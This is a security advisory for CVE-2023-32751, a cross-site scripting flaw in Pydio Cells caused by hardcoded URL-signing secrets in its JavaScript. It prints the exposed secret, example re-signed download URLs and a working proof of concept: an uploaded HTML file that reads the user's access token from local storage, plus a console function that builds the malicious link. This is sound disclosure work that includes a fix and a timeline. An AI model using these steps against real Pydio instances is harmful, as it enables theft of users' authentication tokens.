RedTeam Pentesting GmbH

Pydio Cells: Cross-Site Scripting via File Download

Pydio Cells implements the download of files using presigned URLs which are generated using the Amazon AWS SDK for JavaScript (https://aws.amazon.com/sdk-for-javascript/). The secrets used to sign these URLs are hardcoded and exposed through the JavaScript files of the web application. Therefore, it is possible to generate valid signatures for arbitrary download URLs. By uploading an HTML file and modifying the download URL to serve the file inline instead of as an attachment, any included JavaScript code is executed when the URL is opened in a browser, leading to a cross-site scripting vulnerability.

Details

Product: Pydio Cells
Affected Versions: 4.1.2 and earlier versions
Fixed Versions: 4.2.0, 4.1.3, 3.0.12
Vulnerability Type: Cross-Site Scripting
Security Risk: high
Vendor URL: https://pydio.com/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2023-004
Advisory Status: published
CVE: CVE-2023-32751
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32751

Introduction

“Pydio Cells is an open-core, self-hosted Document Sharing and Collaboration platform (DSC) specifically designed for organizations that need advanced document sharing and collaboration without security trade-offs or compliance issues.”

(from the vendor’s homepage)

More Details

When a file named “xss.html” is downloaded in the Pydio Cells web application, a download URL similar to the following is generated:

https://example.com/io/xss/xss.html
?AWSAccessKeyId=gateway
&Expires=1682495748
&Signature=920JV0Zy%2BrNYXjak7xksAxRpRp8%3D
&response-content-disposition=attachment%3B%20filename%3Dxss.html
&pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J\[...\]

The URL is akin to a presigned URL as used by the Amazon S3 service. It contains the URL parameter “response-content-disposition” which is set to “attachment” causing the response to contain a “Content-Disposition” header with that value. Therefore, the browser downloads the file instead of interpreting it. The URL also contains a signature and expiry timestamp, which are checked by the backend. Unlike a presigned URL as used by S3, the URL also contains the parameter “pydio_jwt” with the JWT of the user for authentication. Furthermore, the access key with the ID “gateway” is referenced, which can be found in the JavaScript sources of Pydio Cells together with the secret:

_awsSdk.default.config.update({
  accessKeyId: 'gateway',
  secretAccessKey: 'gatewaysecret',
  s3ForcePathStyle: !0,
  httpOptions: {
    timeout: PydioApi.getMultipartUploadTimeout()
  }
});

With this information it is possible to change the URL parameter “response-content-disposition” to the value “inline” and then calculate a valid signature for the resulting URL. Furthermore, the content type of the response can be changed to “text/html” by also adding the URL parameter “response-content-type” with that value. This would result in a URL like the following for the previously shown example URL:

https://example.com/io/xss/xss.html?  
AWSAccessKeyId=gateway
&Expires=1682495668
&Signature=HpKue0YQZrnp%2B665Jf1t7ONgfRg%3D
&response-content-disposition=inline
&response-content-type=text%2Fhtml
&pydio_jwt=qIe9DUut-OicxRzNVlynMf6CTENB0J-J\[...\]

Upon opening the URL in a browser, the HTML included in the file is interpreted and any JavaScript code is run.

Proof of Concept

Upload a HTML file into an arbitrary location of a Pydio Cells instance. For example with the following contents:

<html>
  <body>
    <h1>Cross-Site Scriping</h1>
    <script>
      let token = JSON.parse(localStorage.token4).AccessToken;
      alert(token);
    </script>
  </body>
</html>

The contained JavaScript code reads the JWT access token for Pydio Cells from the browser’s local storage object and opens a message box. Instead of just displaying the JWT, it could also be sent to an attacker. The following JavaScript function can then be run within the browser’s developer console to generate a presigned URL for the HTML file:

async function getPresignedURL(path) {
  let client = PydioApi.getClient();
  let node = new AjxpNode(path);
  let metadata = {Bucket: "io", ResponseContentDisposition: "inline", Key: path, ResponseContentType: "text/html"};
  let url = await client.buildPresignedGetUrl(node, null, "text/html", metadata);

  return url;
}

await getPresignedURL("xss/xss.html");

The code has to be run in context of Pydio Cells while being logged in. If the resulting URL is opened in a browser, the JavaScript code contained in the HTML file is run. If the attack is conducted in the described way, the JWT of the attacker is exposed through the URL. However, this can be circumvented by first generating a public URL for the file and then constructing the presigned URL based on the resulting download URL.

Workaround

No workaround known.

Fix

Upgrade Pydio Cells to a version without the vulnerability.

Security Risk

Attackers that can upload files to a Pydio Cells instance can construct URLs that execute arbitrary JavaScript code in context of Pydio Cells upon opening. This could for example be used to steal the authentication tokens of users opening the URL. It is likely that such an attack succeeds, since sharing URLs to files hosted using Pydio Cells is a common use case of the application. Therefore, the vulnerability is estimated to pose a high risk.

Timeline

2023-03-23 Vulnerability identified
2023-05-02 Customer approved disclosure to vendor
2023-05-02 Vendor notified
2023-05-03 CVE ID requested
2023-05-08 Vendor released fixed version
2023-05-14 CVE ID assigned
2023-05-16 Vendor asks for a few more days before the advisory is released
2023-05-30 Advisory released

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